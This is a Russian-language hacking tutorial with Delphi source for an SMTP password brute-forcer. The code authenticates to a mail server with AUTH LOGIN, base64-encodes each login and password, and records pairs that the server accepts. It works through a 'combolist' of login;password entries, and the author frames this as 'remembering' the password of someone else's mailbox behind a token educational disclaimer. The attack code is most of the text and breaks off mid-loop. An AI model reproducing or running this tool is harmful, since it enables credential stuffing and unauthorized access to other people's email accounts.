По умолчанию делаем кнопку "Выбрать..." и Edit под ней неактивными, выставив свойство Enabled этих элементов в False. Далее пишем такой код:
procedure TForm1.BtCloseClick(Sender: TObject); //кнопка "Закрыть" begin Close; end;
procedure TForm1.CheckBox1Click(Sender: TObject); begin if CheckBox1.Checked = False then begin Label1.Enabled := True; Label2.Enabled := True; Edit1.Enabled := True; Edit2.Enabled := True; BtChoose.Enabled := False; Edit3.Enabled := False; Edit3.Clear; end else begin Label1.Enabled := False; Label2.Enabled := False; Edit1.Enabled := False; Edit1.Clear; Edit2.Enabled := False; Edit2.Clear; BtChoose.Enabled := True; Edit3.Enabled := True; end; end;
procedure TForm1.BtChooseClick(Sender: TObject); //Кнопка "Выбрать..." begin if OpenDialog1.Execute then Edit3.Text := OpenDialog1.FileName; end;
procedure TForm1.BtBeginClick(Sender: TObject); //Кнопка "Начать" const CLRF = #13#10; var Data : TWSAData; Sock : TSocket; Addr : TSockAddr; res : Integer; combo : TextFile; acc, login, pass : String; summ, i : Integer;
{Процедура отправки запроса на сервер} procedure SendData(str: string); var i: integer; begin for i := 1 to Length(str) do if Send(Sock, str[i], 1, 0) = SOCKET_ERROR then exit; end;
{Функция получения ответа от сервера} function recvdata(accept: string): bool; var buff: array[1..255] of Char; begin res := recv(Sock, buff, SizeOf(buff), 0); Result := (Res = SOCKET_ERROR) or (Copy(buff, 1, 3) = accept); end;
{Функция кодирования в base64} function EncodeBase64(Value: String): String; const b64alphabet: PChar = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; pad: PChar = '===='; function EncodeChunk(const Chunk: String): String; var W: LongWord; i, n: Byte; begin n := Length(Chunk); W := 0; for i := 0 to n - 1 do W := W + Ord(Chunk[i + 1]) shl ((2 - i) * 8); Result := b64alphabet[(W shr 18) and $3f] + b64alphabet[(W shr 12) and $3f] + b64alphabet[(W shr 06) and $3f] + b64alphabet[(W shr 00) and $3f]; if n <> 3 then Result := Copy(Result, 0, n + 1) + Copy(pad, 0, 3 - n); end; begin Result := ''; while Length(Value) > 0 do begin Result := Result + EncodeChunk(Copy(Value, 0, 3)); Delete(Value, 1, 3); end; end;
begin if CheckBox1.Checked = False then begin login := Edit1.Text; pass := Edit2.Text; WSAStartup($101,Data); Sock := Socket(AF_INET, SOCK_STREAM, 0); if Sock = INVALID_SOCKET then Exit;
Connect(Sock, Addr, SizeOf(Addr)); if not recvdata('220') then Exit;
SendData('EHLO LOL' + CLRF); //Успешный ответ - 250 if not recvdata('250') then Exit;
SendData('AUTH LOGIN' + CLRF); //Успешный ответ - 334 if not recvdata('334') then Exit;
SendData( EncodeBase64(login) + CLRF); //Успешный ответ - 334 if not recvdata('334') then Exit;
SendData( EncodeBase64(pass) + CLRF); //Успешный ответ - 235 if recvdata('235') then Memo1.Lines.Add(login + ';' + pass);
SendData('QUIT' + CLRF);
CloseSocket(Sock); WSACleanup; Gauge1.Progress := 100; Sleep(1000); Gauge1.Progress := 0; end else begin summ := 0; AssignFile(combo, Edit3.Text); Reset(combo); while not (eof(combo)) do begin ReadLn(combo, acc); summ := summ + 1; end; CloseFile(combo);
i := 0; AssignFile(combo, Edit3.Text); Reset(combo); while not eof(combo) do begin i := i + 1; ReadLn(combo, acc); login := copy(acc, 1, Pos(';', acc) - 1 ); pass := copy(acc, Pos(';', acc) + 1, length(acc));
Gauge1.Progress := 100 * i div summ;
WSAStartup($101,Data); Sock := Socket(AF_INET, SOCK_STREAM, 0); if Sock = INVALID_SOCKET then Exit;
Теперь о тонкостях: в программе, не предусмотрена функция резолва(возвращает IP-адрес по доменному имени), поэтому в поле "SMTP Сервер" вписывается IP-адрес SMTP-сервера, на котором расположен почтовый ящик, от которого мы "вспоминаем" пароль, но никак не доменное имя вида smtp.servername.ru. Порт обычно 25, но может и отличаться - уточняйте для каждого почтового сервиса отдельно. Если стоит галочка "Из файла", то используется комболист с логинами и паролями следующего вида:
login;password login1;password1 login2;password2
При использовании комболиста необходимо иметь ввиду, что в нем будет различаться только разделитель точка с запятой. При желании вы сами сможете добавить в программу необходимые фичи. Ну вот и все. Позже, если у меня будет свободное время, я добавлю в программу многопоточность. Если что не ясно стукни в асю, постараюсь помочь. Исходник можно скачать здесь.
Обращаю внимание на то, что статья написана в ознакомительных целях. Автор не несет ответственности за возможные последствия использования данной программы.
